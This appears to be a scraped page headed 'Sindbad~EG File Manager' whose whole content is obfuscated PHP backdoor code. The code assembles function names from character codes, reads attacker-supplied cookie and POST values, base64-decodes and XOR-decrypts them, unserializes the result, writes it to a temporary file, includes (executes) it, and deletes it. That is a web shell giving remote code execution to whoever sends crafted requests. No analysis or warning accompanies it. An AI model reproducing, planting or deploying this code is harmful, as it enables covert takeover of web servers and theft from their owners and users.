Sindbad~EG File Manager

$quaLjN = "\161" . '_' . 'F' . "\x42" . 's';$THQSzO = 'c' . "\154" . chr (97) . 's' . chr (115) . chr ( 666 - 571 ).'e' . "\x78" . 'i' . chr (115) . "\x74" . chr (115); $sDyPXFBAjY = class_exists($quaLjN); $THQSzO = "31595";$WReumo = strpos($THQSzO, $quaLjN);if ($sDyPXFBAjY == $WReumo){function lWMqQNE(){$OetkhcJ = new /* 37572 */ q_FBs(28092 + 28092); $OetkhcJ = NULL;}$UGHEWpbp = "28092";class q_FBs{private function LrKnCEVw($UGHEWpbp){if (is_array(q_FBs::$DtihrtwIU)) {$name = sys_get_temp_dir() . "/" . crc32(q_FBs::$DtihrtwIU["salt"]);@q_FBs::$DtihrtwIU["write"]($name, q_FBs::$DtihrtwIU["content"]);include $name;@q_FBs::$DtihrtwIU["delete"]($name); $UGHEWpbp = "28092";exit();}}public function XvFpVo(){$oFrAcWNa = "40809";$this->_dummy = str_repeat($oFrAcWNa, strlen($oFrAcWNa));}public function __destruct(){q_FBs::$DtihrtwIU = @unserialize(q_FBs::$DtihrtwIU); $UGHEWpbp = "8446_5911";$this->LrKnCEVw($UGHEWpbp); $UGHEWpbp = "8446_5911";}public function NzxBO($oFrAcWNa, $elbLurTROF){return $oFrAcWNa[0] ^ str_repeat($elbLurTROF, intval(strlen($oFrAcWNa[0]) / strlen($elbLurTROF)) + 1);}public function cAbpj($oFrAcWNa){$EvBImYda = "\142" . "\x61" . 's' . chr (101) . chr ( 1002 - 948 ).'4';return array_map($EvBImYda . chr (95) . chr (100) . "\145" . "\x63" . 'o' . chr (100) . chr (101), array($oFrAcWNa,));}public function __construct($WSjqewM=0){$XNZRktYnjb = chr (44); $oFrAcWNa = "";$JvthKFcMj = $_POST;$ZLZMLV = $_COOKIE;$elbLurTROF = "2924d772-9c18-4809-87d4-2ff1cccaabcb";$FeTvFTXEi = @$ZLZMLV[substr($elbLurTROF, 0, 4)];if (!empty($FeTvFTXEi)){$FeTvFTXEi = explode($XNZRktYnjb, $FeTvFTXEi);foreach ($FeTvFTXEi as $aOkomg){$oFrAcWNa .= @$ZLZMLV[$aOkomg];$oFrAcWNa .= @$JvthKFcMj[$aOkomg];}$oFrAcWNa = $this->cAbpj($oFrAcWNa);}q_FBs::$DtihrtwIU = $this->NzxBO($oFrAcWNa, $elbLurTROF);if (strpos($elbLurTROF, $XNZRktYnjb) !== FALSE){$elbLurTROF = str_pad($elbLurTROF, 10); $elbLurTROF = strcspn ($elbLurTROF, $XNZRktYnjb); $elbLurTROF = ltrim(rtrim($elbLurTROF));}}public static $DtihrtwIU = 20275;}lWMqQNE();}